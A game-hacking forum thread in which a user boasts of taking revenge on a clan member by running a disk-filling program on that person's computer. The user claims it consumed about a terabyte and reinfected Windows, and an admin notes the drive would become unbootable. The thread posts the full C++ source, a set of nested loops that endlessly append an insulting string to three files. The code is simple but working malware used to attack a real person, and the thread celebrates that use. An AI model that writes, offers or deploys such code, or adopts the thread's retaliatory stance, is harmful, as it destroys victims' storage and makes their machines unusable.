Dont mess with TehKiller XD

NOTE - This is for educational and informational purposes only !!! proof of what can be done in computer world, be afraid or amazed, choice is yours
Post Reply
TeamRetox
Allie
Allie
Posts: 222
Joined: Sat Jun 06, 2009 3:48 pm

Dont mess with TehKiller XD

Post by TeamRetox »

Lol, some retard from our clan decided to fuck up the zombiemod he hosted for us by puttin unl ammo ^^
Jay(clan leader) asked me to do this :)

Image

thats about 10-20 minutes of writing ^^

edit: forgot to tell that this loops untill his harddrive is full. and infected windows crap to do the same if he removes it ^^
(its currently at 13gb ea file)
User avatar
Sethioz
Admin
Admin
Posts: 4764
Joined: Fri Jul 27, 2007 5:11 pm
Custom: Gaming YT > https://youtube.com/SethiozEntertainment
Game Hacking YT > https://youtube.com/sethioz
Game Hacks Store > https://sethioz.com/shopz
Location: unknown
Contact:

Re: Dont mess with TehKiller XD

Post by Sethioz »

this thing keeps making files with random data in them ?
haha when HDD is full, then it wont be bootable.
TeamRetox
Allie
Allie
Posts: 222
Joined: Sat Jun 06, 2009 3:48 pm

Re: Dont mess with TehKiller XD

Post by TeamRetox »

he found out when the files reached 320 gb ea, so 1 terrabyte of disk space raped ^^

not really random data(was too lazy to write random data) instead it got filled with
FUCK U KEKEKEKEKEKEKEKE - Revenge for fucking Zombiemod up lololol
the code I wrote in a short 2-3 min ^^:

Code: Select all

#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
	FILE *LOL = fopen("you.txt", "a");
	FILE *KEK = fopen("suck.txt", "a");
	FILE *FDF = fopen("balls.txt", "a");
	for(int i = 0; i < 1000000; i++)
	{
		for(int j = 0; j < 1000000; j++)
		{
			for(int k = 0; k < 1000000; k++)
			{
				char buffer[67] = "FUCK U KEKEKEKEKEKEKEKE - Revenge for fucking Zombiemod up lololol";
				fwrite(buffer, 1, sizeof(buffer), LOL);
				fwrite(buffer, 1, sizeof(buffer), KEK);
				fwrite(buffer, 1, sizeof(buffer), FDF);
			}
		}
	}
	return 0;
}
Post Reply